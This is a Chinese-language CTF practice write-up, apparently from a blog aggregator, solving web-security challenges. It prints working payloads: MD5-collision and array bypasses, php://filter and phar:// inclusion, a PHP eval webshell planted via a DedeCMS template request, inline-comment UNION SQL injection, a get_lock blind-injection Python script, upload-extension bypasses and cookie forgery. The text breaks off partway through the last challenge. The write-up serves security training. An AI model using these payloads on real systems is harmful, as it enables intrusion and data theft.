Web安全测试个人赛练习 您所在的位置:网站首页 代码审计与web安全期末选择题 Web安全测试个人赛练习

Web安全测试个人赛练习

2024-07-10 01:01| 来源: 网络整理| 查看: 265

报了一个Web安全测试个人赛,提供了赛前的练习,做一下就当准备了吧…

简单的md5

查看源代码: 在这里插入图片描述

数组绕过即可,post:data1[]=a&data2[]=b

md5

在这里插入图片描述 同样是一道md5绕过,不过这里没法绕过,只能老老实实去找md5碰撞,google还是挺好找的

post:

data1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&data2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

在这里插入图片描述

奇怪的恐龙特性

代码审计题:

第一层: 既要通过A_A传参,又限制了查询字符串不能为A_A,这里用到了php的一个小特性…

可以参考这篇文章:利用PHP的字符串解析特性Bypass

借用文章里的一张图: 在这里插入图片描述

本题中的绕过方式有下面几种: 在这里插入图片描述

第二层: 传入的参数要大于9999999999,用数组绕过;string后要大于零,任意字符串即可。 在这里插入图片描述

综上,最后payload:?A.A[]=a,注释中看到flag

常规操作 解法一

看到参数url=upload,尝试php伪协议文件包含,发现直接可以base64读出flag。

在这里插入图片描述 payload:..index.php/url=php://filter/convert.base64-encode/resource=index

解法二

毕竟给了上传页面,测试了一下,为白名单过滤,无法绕过…看到可以上传zip文件,可以利用phar://协议文件包含。

将一句话木马shell.php打包成压缩包,然后上传得到路径: 在这里插入图片描述 然后连接小马即可,连接url:http://114.55.36.69:8009/index.php?url=phar://upload/695d93c8c583b14b83475449ed1f7b35.zip/shell

在这里插入图片描述

新闻搜索

一个搜索页面,直接sqlmap就能跑出来

在这里插入图片描述

新的新闻搜索

和上一题差不多,word参数存在搜索型注入,不过加了过滤,可以用内联绕过。

查表:%' /*!union*/ /*!select*/ 1,2,(/*!select*/ group_concat(table_name) from information_schema.tables where table_schema=database())# 在这里插入图片描述

查列:%' /*!union*/ /*!select*/ 1,2,(/*!select*/ group_concat(column_name) from information_schema.columns where table_name='admin')#

在这里插入图片描述

查数据:%' /*!union*/ /*!select*/ 1,2,(/*!select*/ group_concat(flag) from admin)# 在这里插入图片描述

game

打开是一个贪吃蛇游戏,查看game.js,有一段奇奇怪怪的颜表情,复制到控制台输出一下:

在这里插入图片描述 输出了一个假的flag,看一下右下角的debugger,得到flag:

在这里插入图片描述

dedecms

是一个dedecms sp2 v5.7,搜一下对应的漏洞即可,我参考的是这个:https://www.freebuf.com/vuls/164035.html

先访问:/dede/tpl.php?action=upload,在源码中获得token,在下一步要用到。

在这里插入图片描述 再访问:/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20@eval($_POST[cmd]);?%3E&token=c5288eb4a985baa3520c2d006f45e346,就会生成我们的shell文件。

在这里插入图片描述 最后连接我们的shell,访问:/include/taglib/moonsec.lib.php,先find / -name flag找一下flag得位置:

在这里插入图片描述读一下flag:

在这里插入图片描述

新瓶装旧酒

这一题上来就给了源码,审计了半天…没看出来什么问题

后来知道是apache的版本问题,存在解析漏洞,即从右向左解析,遇到无法解析的就跳过继续像左解析。

所以我们将小马的后缀改为..PHP.jpg,之所以把PHP大写来绕过代码中对.ph的过滤,然后将其压缩成zip压缩包上传

在这里插入图片描述 得到路径连接即可,在flag.php中发现flag。

在这里插入图片描述

sleepcms

访问robots.txt可以看到如下sql语句,应该是要注入出来: 在这里插入图片描述 根据题目名字,想到应该是时间盲注,但是过滤了常用的sleep()和benchmark(),经测试,还可以用get_lock()函数来进行延时。

但是发现select也被过滤了,尝试各种方式均无法绕过… 然后发现article页面回显的数据就是在flag那个表里查出来的,所以其实后台已经帮我们写好select语句了,直接拼接上content字段即可,用不到select。

脚本如下:

import requests s = requests.session() url = "http://114.55.36.69:8007/article.php" flag = "" for i in range(0,50): for j in range(32,127): payload = f"?id=1' and if(ascii(substr((content),{i},1))={j},get_lock('lethe',3),1)%23" try: s.get(url + payload, timeout=2) except Exception: flag += chr(j) print(flag) break 秘密的系统

访问/web/robots.txt得到提示index.php?r=site/loginuser_1,是一个登录界面,但是没有账号密码没有注册页面,查看源代码发现:

在这里插入图片描述

于是访问该github账号,得到如下提示: 在这里插入图片描述 给了我们一个账号密码test/cil_sec和cookie生成的规则,于是我们登录该账号,得到cookie如下:

cib=a%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A2%3Bs%3A4%3A%22name%22%3Bs%3A4%3A%22test%22%3Bs%3A4%3A%22sign%22%3Bs%3A32%3A%227cbab5cea99169139e7e6d8ff74ebb77%22%3B%7D

url解码再反序列化一下可以看到上面的其实就是: 在这里插入图片描述 于是我们利用如下脚本伪造cookie:

在这里插入图片描述将cookie更改为上述生成的,刷新页面,发现已经是管理员账户登录,然后我们来到上传界面: 在这里插入图片描述 测试发现为黑名单过滤,且Apache版本为2.2.15,可能存在解析漏洞,于是上传shell.php.aaa: 在这里插入图片描述 发现可以成功,连接shell得到flag。 在这里插入图片描述

爱い窒息、痛

题目在dama.xxxx给了dama.php的源码,且看到flag.php在它们的上一层目录。

审计代码:

可以看到要想获得flag,需要通过is_admin()的验证,跟踪这个函数:

//class.user.php public function is_admin($username){ if(!zUserFile::validate_username($username)){ return false; } $user = zUserFile::get_attrs($username); if($user['is_admin'] === 1) return true; return false; } //获取$username的所有信息 //从前面可以看到$users['attrs'][$username] = array("email" => $email, "is_admin" => 0, "email_verify" => 0, "token" => ""); public static function get_attrs($username){ $users = zUserFile::get_all_users(); if(!zUserFile::is_exists($username)){ return false; } return $users['attrs'][$username]; }

要想验证通过,需要$user里的is_admin值为1,发现这边并没有什么可以利用的点,继续审计,重点放在如何可以登录admin的账号,发现该系统存在切换关联账号的功能:

//switch.php

可以看到login2没有其他任何的验证,也就是说如果邮箱相同且均认证了,那么不同账号就可以相互切换登录。

再想到一开始的注册页面给了admin的邮箱为[email protected],那么思路应该就是注册一个账号,并关联到admin的邮箱上,这样就可以切换到admin帐号了。

直接绑定管理员的邮箱肯定是不行的,该系统还存在修改绑定邮箱的功能,代码如下:

//chgemail.php


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有